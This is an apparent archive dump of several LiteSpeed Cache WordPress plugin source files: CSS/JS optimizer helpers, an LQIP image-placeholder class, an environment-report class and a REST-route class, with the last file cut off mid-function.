		$content = apply_filters('litespeed_optm_cssjs', $content, $file_type, $src);

		return $content;
	}

	/**
	 * Load remote resource from cache if existed
	 *
	 * @since  4.7
	 */
	private function load_cached_file( $url, $file_type ) {
		$file_path_prefix     = $this->_build_filepath_prefix($file_type);
		$folder_name          = LITESPEED_STATIC_DIR . $file_path_prefix;
		$to_be_deleted_folder = $folder_name . date('Ymd', strtotime('-2 days'));
		if (file_exists($to_be_deleted_folder)) {
			Debug2::debug('[Optimizer] ❌ Clearing folder [name] ' . $to_be_deleted_folder);
			File::rrmdir($to_be_deleted_folder);
		}

		$today_file = $folder_name . date('Ymd') . '/' . md5($url);
		if (file_exists($today_file)) {
			return File::read($today_file);
		}

		// Write file
		$res      = wp_safe_remote_get($url);
		$res_code = wp_remote_retrieve_response_code($res);
		if (is_wp_error($res) || $res_code != 200) {
			Debug2::debug2('[Optimizer] ❌ Load Remote error [code] ' . $res_code);
			return false;
		}
		$con = wp_remote_retrieve_body($res);
		if (!$con) {
			return false;
		}

		Debug2::debug('[Optimizer] ✅ Save remote file to cache [name] ' . $today_file);
		File::save($today_file, $con, true);

		return $con;
	}

	/**
	 * Load remote/local resource
	 *
	 * @since  3.5
	 */
	public function load_file( $src, $file_type = 'css' ) {
		$real_file = Utility::is_internal_file($src);
		$postfix   = pathinfo(parse_url($src, PHP_URL_PATH), PATHINFO_EXTENSION);
		if (!$real_file || $postfix != $file_type) {
			Debug2::debug2('[CSS] Load Remote [' . $file_type . '] ' . $src);
			$this_url = substr($src, 0, 2) == '//' ? set_url_scheme($src) : $src;
			$con      = $this->load_cached_file($this_url, $file_type);

			if ($file_type == 'css') {
				$dirname = dirname($this_url) . '/';

				$con = Lib\UriRewriter::prepend($con, $dirname);
			}
		} else {
			Debug2::debug2('[CSS] Load local [' . $file_type . '] ' . $real_file[0]);
			$con = File::read($real_file[0]);

			if ($file_type == 'css') {
				$dirname = dirname($real_file[0]);

				$con = Lib\UriRewriter::rewrite($con, $dirname);
			}
		}

		return $con;
	}

	/**
	 * Minify CSS
	 *
	 * @since  2.2.3
	 * @access private
	 */
	public static function minify_css( $data ) {
		try {
			$obj = new Lib\CSS_JS_MIN\Minify\CSS();
			$obj->add($data);

			return $obj->minify();
		} catch (\Exception $e) {
			Debug2::debug('******[Optmer] minify_css failed: ' . $e->getMessage());
			error_log('****** LiteSpeed Optimizer minify_css failed: ' . $e->getMessage());
			return $data;
		}
	}

	/**
	 * Minify JS
	 *
	 * Added exception capture when minify
	 *
	 * @since  2.2.3
	 * @access private
	 */
	public static function minify_js( $data, $js_type = '' ) {
		// For inline JS optimize, need to check if it's js type
		if ($js_type) {
			preg_match('#type=([\'"])(.+)\g{1}#isU', $js_type, $matches);
			if ($matches && $matches[2] != 'text/javascript') {
				Debug2::debug('******[Optmer] minify_js bypass due to type: ' . $matches[2]);
				return $data;
			}
		}

		try {
			$obj = new Lib\CSS_JS_MIN\Minify\JS();
			$obj->add($data);

			return $obj->minify();
		} catch (\Exception $e) {
			Debug2::debug('******[Optmer] minify_js failed: ' . $e->getMessage());
			// error_log( '****** LiteSpeed Optimizer minify_js failed: ' . $e->getMessage() );
			return $data;
		}
	}

	/**
	 * Basic minifier
	 *
	 * @access private
	 */
	private function _null_minifier( $content ) {
		$content = str_replace("\r\n", "\n", $content);

		return trim($content);
	}

	/**
	 * Check if the file is already min file
	 *
	 * @since  1.9
	 */
	public function is_min( $filename ) {
		$basename = basename($filename);
		if (preg_match('/[-\.]min\.(?:[a-zA-Z]+)$/i', $basename)) {
			return true;
		}

		return false;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/placeholder.cls.php000064400000034277151031165260020646 0ustar00<?php
// phpcs:ignoreFile

/**
 * The PlaceHolder class
 *
 * @since       3.0
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Placeholder extends Base {

	const TYPE_GENERATE = 'generate';
	const TYPE_CLEAR_Q  = 'clear_q';

	private $_conf_placeholder_resp;
	private $_conf_placeholder_resp_svg;
	private $_conf_lqip;
	private $_conf_lqip_qual;
	private $_conf_lqip_min_w;
	private $_conf_lqip_min_h;
	private $_conf_placeholder_resp_color;
	private $_conf_placeholder_resp_async;
	private $_conf_ph_default;
	private $_placeholder_resp_dict = array();
	private $_ph_queue              = array();

	protected $_summary;

	/**
	 * Init
	 *
	 * @since  3.0
	 */
	public function __construct() {
		$this->_conf_placeholder_resp       = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_MEDIA_PLACEHOLDER_RESP);
		$this->_conf_placeholder_resp_svg   = $this->conf(self::O_MEDIA_PLACEHOLDER_RESP_SVG);
		$this->_conf_lqip                   = !defined('LITESPEED_GUEST_OPTM') && $this->conf(self::O_MEDIA_LQIP);
		$this->_conf_lqip_qual              = $this->conf(self::O_MEDIA_LQIP_QUAL);
		$this->_conf_lqip_min_w             = $this->conf(self::O_MEDIA_LQIP_MIN_W);
		$this->_conf_lqip_min_h             = $this->conf(self::O_MEDIA_LQIP_MIN_H);
		$this->_conf_placeholder_resp_async = $this->conf(self::O_MEDIA_PLACEHOLDER_RESP_ASYNC);
		$this->_conf_placeholder_resp_color = $this->conf(self::O_MEDIA_PLACEHOLDER_RESP_COLOR);
		$this->_conf_ph_default             = $this->conf(self::O_MEDIA_LAZY_PLACEHOLDER) ?: LITESPEED_PLACEHOLDER;

		$this->_summary = self::get_summary();
	}

	/**
	 * Init Placeholder
	 */
	public function init() {
		Debug2::debug2('[LQIP] init');

		add_action('litespeed_after_admin_init', array( $this, 'after_admin_init' ));
	}

	/**
	 * Display column in Media
	 *
	 * @since  3.0
	 * @access public
	 */
	public function after_admin_init() {
		if ($this->_conf_lqip) {
			add_filter('manage_media_columns', array( $this, 'media_row_title' ));
			add_filter('manage_media_custom_column', array( $this, 'media_row_actions' ), 10, 2);
			add_action('litespeed_media_row_lqip', array( $this, 'media_row_con' ));
		}
	}

	/**
	 * Media Admin Menu -> LQIP col
	 *
	 * @since 3.0
	 * @access public
	 */
	public function media_row_title( $posts_columns ) {
		$posts_columns['lqip'] = __('LQIP', 'litespeed-cache');

		return $posts_columns;
	}

	/**
	 * Media Admin Menu -> LQIP Column
	 *
	 * @since 3.0
	 * @access public
	 */
	public function media_row_actions( $column_name, $post_id ) {
		if ($column_name !== 'lqip') {
			return;
		}

		do_action('litespeed_media_row_lqip', $post_id);
	}

	/**
	 * Display LQIP column
	 *
	 * @since  3.0
	 * @access public
	 */
	public function media_row_con( $post_id ) {
		$meta_value = wp_get_attachment_metadata($post_id);

		if (empty($meta_value['file'])) {
			return;
		}

		$total_files = 0;

		// List all sizes
		$all_sizes = array( $meta_value['file'] );
		$size_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/';
		foreach ($meta_value['sizes'] as $v) {
			$all_sizes[] = $size_path . $v['file'];
		}

		foreach ($all_sizes as $short_path) {
			$lqip_folder = LITESPEED_STATIC_DIR . '/lqip/' . $short_path;

			if (is_dir($lqip_folder)) {
				Debug2::debug('[LQIP] Found folder: ' . $short_path);

				// List all files
				foreach (scandir($lqip_folder) as $v) {
					if ($v == '.' || $v == '..') {
						continue;
					}

					if ($total_files == 0) {
						echo '<div class="litespeed-media-lqip"><img src="' .
							Str::trim_quotes(File::read($lqip_folder . '/' . $v)) .
							'" alt="' .
							sprintf(__('LQIP image preview for size %s', 'litespeed-cache'), $v) .
							'"></div>';
					}

					echo '<div class="litespeed-media-size"><a href="' . Str::trim_quotes(File::read($lqip_folder . '/' . $v)) . '" target="_blank">' . $v . '</a></div>';

					++$total_files;
				}
			}
		}

		if ($total_files == 0) {
			echo '—';
		}
	}

	/**
	 * Replace image with placeholder
	 *
	 * @since  3.0
	 * @access public
	 */
	public function replace( $html, $src, $size ) {
		// Check if need to enable responsive placeholder or not
		$this_placeholder = $this->_placeholder($src, $size) ?: $this->_conf_ph_default;

		$additional_attr = '';
		if ($this->_conf_lqip && $this_placeholder != $this->_conf_ph_default) {
			Debug2::debug2('[LQIP] Use resp LQIP [size] ' . $size);
			$additional_attr = ' data-placeholder-resp="' . Str::trim_quotes($size) . '"';
		}

		$snippet = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_NOSCRIPT_RM) ? '' : '<noscript>' . $html . '</noscript>';
		$html    = str_replace(array( ' src=', ' srcset=', ' sizes=' ), array( ' data-src=', ' data-srcset=', ' data-sizes=' ), $html);
		$html    = str_replace('<img ', '<img data-lazyloaded="1"' . $additional_attr . ' src="' . Str::trim_quotes($this_placeholder) . '" ', $html);
		$snippet = $html . $snippet;

		return $snippet;
	}

	/**
	 * Generate responsive placeholder
	 *
	 * @since  2.5.1
	 * @access private
	 */
	private function _placeholder( $src, $size ) {
		// Low Quality Image Placeholders
		if (!$size) {
			Debug2::debug2('[LQIP] no size ' . $src);
			return false;
		}

		if (!$this->_conf_placeholder_resp) {
			return false;
		}

		// If use local generator
		if (!$this->_conf_lqip || !$this->_lqip_size_check($size)) {
			return $this->_generate_placeholder_locally($size);
		}

		Debug2::debug2('[LQIP] Resp LQIP process [src] ' . $src . ' [size] ' . $size);

		$arr_key = $size . ' ' . $src;

		// Check if its already in dict or not
		if (!empty($this->_placeholder_resp_dict[$arr_key])) {
			Debug2::debug2('[LQIP] already in dict');

			return $this->_placeholder_resp_dict[$arr_key];
		}

		// Need to generate the responsive placeholder
		$placeholder_realpath = $this->_placeholder_realpath($src, $size); // todo: give offload API
		if (file_exists($placeholder_realpath)) {
			Debug2::debug2('[LQIP] file exists');
			$this->_placeholder_resp_dict[$arr_key] = File::read($placeholder_realpath);

			return $this->_placeholder_resp_dict[$arr_key];
		}

		// Add to cron queue

		// Prevent repeated requests
		if (in_array($arr_key, $this->_ph_queue)) {
			Debug2::debug2('[LQIP] file bypass generating due to in queue');
			return $this->_generate_placeholder_locally($size);
		}

		if ($hit = Utility::str_hit_array($src, $this->conf(self::O_MEDIA_LQIP_EXC))) {
			Debug2::debug2('[LQIP] file bypass generating due to exclude setting [hit] ' . $hit);
			return $this->_generate_placeholder_locally($size);
		}

		$this->_ph_queue[] = $arr_key;

		// Send request to generate placeholder
		if (!$this->_conf_placeholder_resp_async) {
			// If requested recently, bypass
			if ($this->_summary && !empty($this->_summary['curr_request']) && time() - $this->_summary['curr_request'] < 300) {
				Debug2::debug2('[LQIP] file bypass generating due to interval limit');
				return false;
			}
			// Generate immediately
			$this->_placeholder_resp_dict[$arr_key] = $this->_generate_placeholder($arr_key);

			return $this->_placeholder_resp_dict[$arr_key];
		}

		// Prepare default svg placeholder as tmp placeholder
		$tmp_placeholder = $this->_generate_placeholder_locally($size);

		// Store it to prepare for cron
		$queue = $this->load_queue('lqip');
		if (in_array($arr_key, $queue)) {
			Debug2::debug2('[LQIP] already in queue');

			return $tmp_placeholder;
		}

		if (count($queue) > 500) {
			Debug2::debug2('[LQIP] queue is full');

			return $tmp_placeholder;
		}

		$queue[] = $arr_key;
		$this->save_queue('lqip', $queue);
		Debug2::debug('[LQIP] Added placeholder queue');

		return $tmp_placeholder;
	}

	/**
	 * Generate realpath of placeholder file
	 *
	 * @since  2.5.1
	 * @access private
	 */
	private function _placeholder_realpath( $src, $size ) {
		// Use LQIP Cloud generator, each image placeholder will be separately stored

		// Compatibility with WebP and AVIF
		$src = Utility::drop_webp($src);

		$filepath_prefix = $this->_build_filepath_prefix('lqip');

		// External images will use cache folder directly
		$domain = parse_url($src, PHP_URL_HOST);
		if ($domain && !Utility::internal($domain)) {
			// todo: need to improve `util:internal()` to include `CDN::internal()`
			$md5 = md5($src);

			return LITESPEED_STATIC_DIR . $filepath_prefix . 'remote/' . substr($md5, 0, 1) . '/' . substr($md5, 1, 1) . '/' . $md5 . '.' . $size;
		}

		// Drop domain
		$short_path = Utility::att_short_path($src);

		return LITESPEED_STATIC_DIR . $filepath_prefix . $short_path . '/' . $size;
	}

	/**
	 * Cron placeholder generation
	 *
	 * @since  2.5.1
	 * @access public
	 */
	public static function cron( $continue = false ) {
		$_instance = self::cls();

		$queue = $_instance->load_queue('lqip');

		if (empty($queue)) {
			return;
		}

		// For cron, need to check request interval too
		if (!$continue) {
			if (!empty($_instance->_summary['curr_request']) && time() - $_instance->_summary['curr_request'] < 300) {
				Debug2::debug('[LQIP] Last request not done');
				return;
			}
		}

		foreach ($queue as $v) {
			Debug2::debug('[LQIP] cron job [size] ' . $v);

			$res = $_instance->_generate_placeholder($v, true);

			// Exit queue if out of quota
			if ($res === 'out_of_quota') {
				return;
			}

			// only request first one
			if (!$continue) {
				return;
			}
		}
	}

	/**
	 * Generate placeholder locally
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _generate_placeholder_locally( $size ) {
		Debug2::debug2('[LQIP] _generate_placeholder local [size] ' . $size);

		$size = explode('x', $size);

		$svg = str_replace(array( '{width}', '{height}', '{color}' ), array( $size[0], $size[1], $this->_conf_placeholder_resp_color ), $this->_conf_placeholder_resp_svg);

		return 'data:image/svg+xml;base64,' . base64_encode($svg);
	}

	/**
	 * Send to LiteSpeed API to generate placeholder
	 *
	 * @since  2.5.1
	 * @access private
	 */
	private function _generate_placeholder( $raw_size_and_src, $from_cron = false ) {
		// Parse containing size and src info
		$size_and_src = explode(' ', $raw_size_and_src, 2);
		$size         = $size_and_src[0];

		if (empty($size_and_src[1])) {
			$this->_popup_and_save($raw_size_and_src);
			Debug2::debug('[LQIP] ❌ No src [raw] ' . $raw_size_and_src);
			return $this->_generate_placeholder_locally($size);
		}

		$src = $size_and_src[1];

		$file = $this->_placeholder_realpath($src, $size);

		// Local generate SVG to serve ( Repeatedly doing this here to remove stored cron queue in case the setting _conf_lqip is changed )
		if (!$this->_conf_lqip || !$this->_lqip_size_check($size)) {
			$data = $this->_generate_placeholder_locally($size);
		} else {
			$err       = false;
			$allowance = Cloud::cls()->allowance(Cloud::SVC_LQIP, $err);
			if (!$allowance) {
				Debug2::debug('[LQIP] ❌ No credit: ' . $err);
				$err && Admin_Display::error(Error::msg($err));

				if ($from_cron) {
					return 'out_of_quota';
				}

				return $this->_generate_placeholder_locally($size);
			}

			// Generate LQIP
			list($width, $height) = explode('x', $size);
			$req_data             = array(
				'width' => $width,
				'height' => $height,
				'url' => Utility::drop_webp($src),
				'quality' => $this->_conf_lqip_qual,
			);

			// CHeck if the image is 404 first
			if (File::is_404($req_data['url'])) {
				$this->_popup_and_save($raw_size_and_src, true);
				$this->_append_exc($src);
				Debug2::debug('[LQIP] 404 before request [src] ' . $req_data['url']);
				return $this->_generate_placeholder_locally($size);
			}

			// Update request status
			$this->_summary['curr_request'] = time();
			self::save_summary();

			$json = Cloud::post(Cloud::SVC_LQIP, $req_data, 120);
			if (!is_array($json)) {
				return $this->_generate_placeholder_locally($size);
			}

			if (empty($json['lqip']) || strpos($json['lqip'], 'data:image/svg+xml') !== 0) {
				// image error, pop up the current queue
				$this->_popup_and_save($raw_size_and_src, true);
				$this->_append_exc($src);
				Debug2::debug('[LQIP] wrong response format', $json);

				return $this->_generate_placeholder_locally($size);
			}

			$data = $json['lqip'];

			Debug2::debug('[LQIP] _generate_placeholder LQIP');
		}

		// Write to file
		File::save($file, $data, true);

		// Save summary data
		$this->_summary['last_spent']   = time() - $this->_summary['curr_request'];
		$this->_summary['last_request'] = $this->_summary['curr_request'];
		$this->_summary['curr_request'] = 0;
		self::save_summary();
		$this->_popup_and_save($raw_size_and_src);

		Debug2::debug('[LQIP] saved LQIP ' . $file);

		return $data;
	}

	/**
	 * Check if the size is valid to send LQIP request or not
	 *
	 * @since  3.0
	 */
	private function _lqip_size_check( $size ) {
		$size = explode('x', $size);
		if ($size[0] >= $this->_conf_lqip_min_w || $size[1] >= $this->_conf_lqip_min_h) {
			return true;
		}

		Debug2::debug2('[LQIP] Size too small');

		return false;
	}

	/**
	 * Add to LQIP exclude list
	 *
	 * @since  3.4
	 */
	private function _append_exc( $src ) {
		$val   = $this->conf(self::O_MEDIA_LQIP_EXC);
		$val[] = $src;
		$this->cls('Conf')->update(self::O_MEDIA_LQIP_EXC, $val);
		Debug2::debug('[LQIP] Appended to LQIP Excludes [URL] ' . $src);
	}

	/**
	 * Pop up the current request and save
	 *
	 * @since  3.0
	 */
	private function _popup_and_save( $raw_size_and_src, $append_to_exc = false ) {
		$queue = $this->load_queue('lqip');
		if (!empty($queue) && in_array($raw_size_and_src, $queue)) {
			unset($queue[array_search($raw_size_and_src, $queue)]);
		}

		if ($append_to_exc) {
			$size_and_src = explode(' ', $raw_size_and_src, 2);
			$this_src     = $size_and_src[1];

			// Append to lqip exc setting first
			$this->_append_exc($this_src);

			// Check if other queues contain this src or not
			if ($queue) {
				foreach ($queue as $k => $raw_size_and_src) {
					$size_and_src = explode(' ', $raw_size_and_src, 2);
					if (empty($size_and_src[1])) {
						continue;
					}

					if ($size_and_src[1] == $this_src) {
						unset($queue[$k]);
					}
				}
			}
		}

		$this->save_queue('lqip', $queue);
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  2.5.1
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_GENERATE:
            self::cron(true);
				break;

			case self::TYPE_CLEAR_Q:
            $this->clear_q('lqip');
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/report.cls.php000064400000014172151031165260017667 0ustar00<?php
// phpcs:ignoreFile

/**
 * The report class
 *
 * @since      1.1.0
 * @package    LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Report extends Base {

	const TYPE_SEND_REPORT = 'send_report';

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  1.6.5
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_SEND_REPORT:
            $this->post_env();
				break;

			default:
				break;
		}

		Admin::redirect();
	}

	/**
	 * post env report number to ls center server
	 *
	 * @since  1.6.5
	 * @access public
	 */
	public function post_env() {
		$report_con = $this->generate_environment_report();

		// Generate link
		$link = !empty($_POST['link']) ? esc_url($_POST['link']) : '';

		$notes = !empty($_POST['notes']) ? esc_html($_POST['notes']) : '';

		$php_info   = !empty($_POST['attach_php']) ? esc_html($_POST['attach_php']) : '';
		$report_php = $php_info === '1' ? $this->generate_php_report() : '';

		if ($report_php) {
			$report_con .= "\nPHPINFO\n" . $report_php;
		}

		$data = array(
			'env' => $report_con,
			'link' => $link,
			'notes' => $notes,
		);

		$json = Cloud::post(Cloud::API_REPORT, $data);
		if (!is_array($json)) {
			return;
		}

		$num     = !empty($json['num']) ? $json['num'] : '--';
		$summary = array(
			'num' => $num,
			'dateline' => time(),
		);

		self::save_summary($summary);

		return $num;
	}

	/**
	 * Gathers the PHP information.
	 *
	 * @since 7.0
	 * @access public
	 */
	public function generate_php_report( $flags = INFO_GENERAL | INFO_CONFIGURATION | INFO_MODULES ) {
		// INFO_ENVIRONMENT
		$report = '';

		ob_start();
		phpinfo($flags);
		$report = ob_get_contents();
		ob_end_clean();

		preg_match('%<style type="text/css">(.*?)</style>.*?<body>(.*?)</body>%s', $report, $report);

		return $report[2];
	}

	/**
	 * Gathers the environment details and creates the report.
	 * Will write to the environment report file.
	 *
	 * @since 1.0.12
	 * @access public
	 */
	public function generate_environment_report( $options = null ) {
		global $wp_version, $_SERVER;
		$frontend_htaccess = Htaccess::get_frontend_htaccess();
		$backend_htaccess  = Htaccess::get_backend_htaccess();
		$paths             = array( $frontend_htaccess );
		if ($frontend_htaccess != $backend_htaccess) {
			$paths[] = $backend_htaccess;
		}

		if (is_multisite()) {
			$active_plugins = get_site_option('active_sitewide_plugins');
			if (!empty($active_plugins)) {
				$active_plugins = array_keys($active_plugins);
			}
		} else {
			$active_plugins = get_option('active_plugins');
		}

		if (function_exists('wp_get_theme')) {
			$theme_obj    = wp_get_theme();
			$active_theme = $theme_obj->get('Name');
		} else {
			$active_theme = get_current_theme();
		}

		$extras = array(
			'wordpress version' => $wp_version,
			'siteurl' => get_option('siteurl'),
			'home' => get_option('home'),
			'home_url' => home_url(),
			'locale' => get_locale(),
			'active theme' => $active_theme,
		);

		$extras['active plugins'] = $active_plugins;
		$extras['cloud']          = Cloud::get_summary();
		foreach (array( 'mini_html', 'pk_b64', 'sk_b64', 'cdn_dash', 'ips' ) as $v) {
			if (!empty($extras['cloud'][$v])) {
				unset($extras['cloud'][$v]);
			}
		}

		if (is_null($options)) {
			$options = $this->get_options(true);

			if (is_multisite()) {
				$options2 = $this->get_options();
				foreach ($options2 as $k => $v) {
					if (isset($options[$k]) && $options[$k] !== $v) {
						$options['[Overwritten] ' . $k] = $v;
					}
				}
			}
		}

		if (!is_null($options) && is_multisite()) {
			$blogs = Activation::get_network_ids();
			if (!empty($blogs)) {
				$i = 0;
				foreach ($blogs as $blog_id) {
					if (++$i > 3) {
						// Only log 3 subsites
						break;
					}
					$opts = $this->cls('Conf')->load_options($blog_id, true);
					if (isset($opts[self::O_CACHE])) {
						$options['blog ' . $blog_id . ' radio select'] = $opts[self::O_CACHE];
					}
				}
			}
		}

		// Security: Remove cf key in report
		$secure_fields = array( self::O_CDN_CLOUDFLARE_KEY, self::O_OBJECT_PSWD );
		foreach ($secure_fields as $v) {
			if (!empty($options[$v])) {
				$options[$v] = str_repeat('*', strlen($options[$v]));
			}
		}

		$report = $this->build_environment_report($_SERVER, $options, $extras, $paths);
		return $report;
	}

	/**
	 * Builds the environment report buffer with the given parameters
	 *
	 * @access private
	 */
	private function build_environment_report( $server, $options, $extras = array(), $htaccess_paths = array() ) {
		$server_keys   = array(
			'DOCUMENT_ROOT' => '',
			'SERVER_SOFTWARE' => '',
			'X-LSCACHE' => '',
			'HTTP_X_LSCACHE' => '',
		);
		$server_vars   = array_intersect_key($server, $server_keys);
		$server_vars[] = 'LSWCP_TAG_PREFIX = ' . LSWCP_TAG_PREFIX;

		$server_vars = array_merge($server_vars, $this->cls('Base')->server_vars());

		$buf = $this->_format_report_section('Server Variables', $server_vars);

		$buf .= $this->_format_report_section('WordPress Specific Extras', $extras);

		$buf .= $this->_format_report_section('LSCache Plugin Options', $options);

		if (empty($htaccess_paths)) {
			return $buf;
		}

		foreach ($htaccess_paths as $path) {
			if (!file_exists($path) || !is_readable($path)) {
				$buf .= $path . " does not exist or is not readable.\n";
				continue;
			}

			$content = file_get_contents($path);
			if ($content === false) {
				$buf .= $path . " returned false for file_get_contents.\n";
				continue;
			}
			$buf .= $path . " contents:\n" . $content . "\n\n";
		}
		return $buf;
	}

	/**
	 * Creates a part of the environment report based on a section header and an array for the section parameters.
	 *
	 * @since 1.0.12
	 * @access private
	 */
	private function _format_report_section( $section_header, $section ) {
		$tab = '    '; // four spaces

		if (empty($section)) {
			return 'No matching ' . $section_header . "\n\n";
		}
		$buf = $section_header;

		foreach ($section as $k => $v) {
			$buf .= "\n" . $tab;

			if (!is_numeric($k)) {
				$buf .= $k . ' = ';
			}

			if (!is_string($v)) {
				$v = var_export($v, true);
			} else {
				$v = esc_html($v);
			}

			$buf .= $v;
		}
		return $buf . "\n\n";
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/rest.cls.php000064400000017047151031165260017335 0ustar00<?php
// phpcs:ignoreFile

/**
 * The REST related class.
 *
 * @since       2.9.4
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class REST extends Root {

	const LOG_TAG                  = '☎️';
	private $_internal_rest_status = false;

	/**
	 * Confructor of ESI
	 *
	 * @since    2.9.4
	 */
	public function __construct() {
		// Hook to internal REST call
		add_filter('rest_request_before_callbacks', array( $this, 'set_internal_rest_on' ));
		add_filter('rest_request_after_callbacks', array( $this, 'set_internal_rest_off' ));

		add_action('rest_api_init', array( $this, 'rest_api_init' ));
	}

	/**
	 * Register REST hooks
	 *
	 * @since  3.0
	 * @access public
	 */
	public function rest_api_init() {
		// Activate or deactivate a specific crawler callback
		register_rest_route('litespeed/v1', '/toggle_crawler_state', array(
			'methods' => 'POST',
			'callback' => array( $this, 'toggle_crawler_state' ),
			'permission_callback' => function () {
				return current_user_can('manage_network_options') || current_user_can('manage_options');
			},
		));

		register_rest_route('litespeed/v1', '/tool/check_ip', array(
			'methods' => 'GET',
			'callback' => array( $this, 'check_ip' ),
			'permission_callback' => function () {
				return current_user_can('manage_network_options') || current_user_can('manage_options');
			},
		));

		// IP callback validate
		register_rest_route('litespeed/v3', '/ip_validate', array(
			'methods' => 'POST',
			'callback' => array( $this, 'ip_validate' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));

		// 1.2. WP REST Dryrun Callback
		register_rest_route('litespeed/v3', '/wp_rest_echo', array(
			'methods' => 'POST',
			'callback' => array( $this, 'wp_rest_echo' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));
		register_rest_route('litespeed/v3', '/ping', array(
			'methods' => 'POST',
			'callback' => array( $this, 'ping' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));

		// CDN setup callback notification
		register_rest_route('litespeed/v3', '/cdn_status', array(
			'methods' => 'POST',
			'callback' => array( $this, 'cdn_status' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));

		// Image optm notify_img
		// Need validation
		register_rest_route('litespeed/v1', '/notify_img', array(
			'methods' => 'POST',
			'callback' => array( $this, 'notify_img' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));

		register_rest_route('litespeed/v1', '/notify_ccss', array(
			'methods' => 'POST',
			'callback' => array( $this, 'notify_ccss' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));

		register_rest_route('litespeed/v1', '/notify_ucss', array(
			'methods' => 'POST',
			'callback' => array( $this, 'notify_ucss' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));

		register_rest_route('litespeed/v1', '/notify_vpi', array(
			'methods' => 'POST',
			'callback' => array( $this, 'notify_vpi' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));

		register_rest_route('litespeed/v3', '/err_domains', array(
			'methods' => 'POST',
			'callback' => array( $this, 'err_domains' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));

		// Image optm check_img
		// Need validation
		register_rest_route('litespeed/v1', '/check_img', array(
			'methods' => 'POST',
			'callback' => array( $this, 'check_img' ),
			'permission_callback' => array( $this, 'is_from_cloud' ),
		));
	}

	/**
	 * Call to freeze or melt the crawler clicked
	 *
	 * @since  4.3
	 */
	public function toggle_crawler_state() {
		if (isset($_POST['crawler_id'])) {
			return $this->cls('Crawler')->toggle_activeness($_POST['crawler_id']) ? 1 : 0;
		}
	}

	/**
	 * Check if the request is from cloud nodes
	 *
	 * @since 4.2
	 * @since 4.4.7 As there is always token/api key validation, ip validation is redundant
	 */
	public function is_from_cloud() {
		// return true;
		return $this->cls('Cloud')->is_from_cloud();
	}

	/**
	 * Ping pong
	 *
	 * @since  3.0.4
	 */
	public function ping() {
		return $this->cls('Cloud')->ping();
	}

	/**
	 * Launch api call
	 *
	 * @since  3.0
	 */
	public function check_ip() {
		return Tool::cls()->check_ip();
	}

	/**
	 * Launch api call
	 *
	 * @since  3.0
	 */
	public function ip_validate() {
		return $this->cls('Cloud')->ip_validate();
	}

	/**
	 * Launch api call
	 *
	 * @since  3.0
	 */
	public function wp_rest_echo() {
		return $this->cls('Cloud')->wp_rest_echo();
	}

	/**
	 * Endpoint for QC to notify plugin of CDN status update.
	 *
	 * @since  7.0
	 */
	public function cdn_status() {
		return $this->cls('Cloud')->update_cdn_status();
	}

	/**
	 * Launch api call
	 *
	 * @since  3.0
	 */
	public function notify_img() {
		return Img_Optm::cls()->notify_img();
	}

	/**
	 * @since  7.1
	 */
	public function notify_ccss() {
		self::debug('notify_ccss');
		return CSS::cls()->notify();
	}

	/**
	 * @since  5.2
	 */
	public function notify_ucss() {
		self::debug('notify_ucss');
		return UCSS::cls()->notify();
	}

	/**
	 * @since  4.7
	 */
	public function notify_vpi() {
		self::debug('notify_vpi');
		return VPI::cls()->notify();
	}

	/**
	 * @since  4.7
	 */
	public function err_domains() {
		self::debug('err_domains');
		return $this->cls('Cloud')->rest_err_domains();
	}

	/**
	 * Launch api call
	 *
	 * @since  3.0
	 */
	public function check_img() {
		return Img_Optm::cls()->check_img();
	}

	/**
	 * Return error
	 *
	 * @since  5.7.0.1
	 */
	public static function err( $code ) {
		return array(
			'_res' => 'err',
			'_msg' => $code,
		);
	}

	/**
	 * Set internal REST tag to ON
	 *
	 * @since  2.9.4
	 * @access public
	 */
	public function set_internal_rest_on( $not_used = null ) {
		$this->_internal_rest_status = true;
		Debug2::debug2('[REST] ✅ Internal REST ON [filter] rest_request_before_callbacks');

		return $not_used;
	}

	/**
	 * Set internal REST tag to OFF
	 *
	 * @since  2.9.4
	 * @access public
	 */
	public function set_internal_rest_off( $not_used = null ) {
		$this->_internal_rest_status = false;
		Debug2::debug2('[REST] ❎ Internal REST OFF [filter] rest_request_after_callbacks');

		return $not_used;
	}

	/**
	 * Get internal REST tag
	 *
	 * @since  2.9.4
	 * @access public
	 */
	public function is_internal_rest() {
		return $this->_internal_rest_status;
	}

	/**
	 * Check if an URL or current page is REST req or not
	 *
	 * @since  2.9.3
	 * @since  2.9.4 Moved here from Utility, dropped static
	 * @access public
	 */
	public function is_rest( $url = false ) {
		// For WP 4.4.0- compatibility
		if (!function_exists('rest_get_url_prefix')) {
			return defined('REST_REQUEST') && REST_REQUEST;
		}

		$prefix = rest_get_url_prefix();

		// Case #1: After WP_REST_Request initialisation
		if (defined('REST_REQUEST') && REST_REQUEST) {
			return true;
		}

		// Case #2: Support "plain" permalink settings
		if (isset($_GET['rest_route']) && strpos(trim($_GET['rest_route'], '\\/'), $prefix, 0) === 0) {
			return true;
		}

		if (!$url) {
			return false;
		}

		// Case #3: URL Path begins with wp-json/ (REST prefix) Safe for subfolder installation
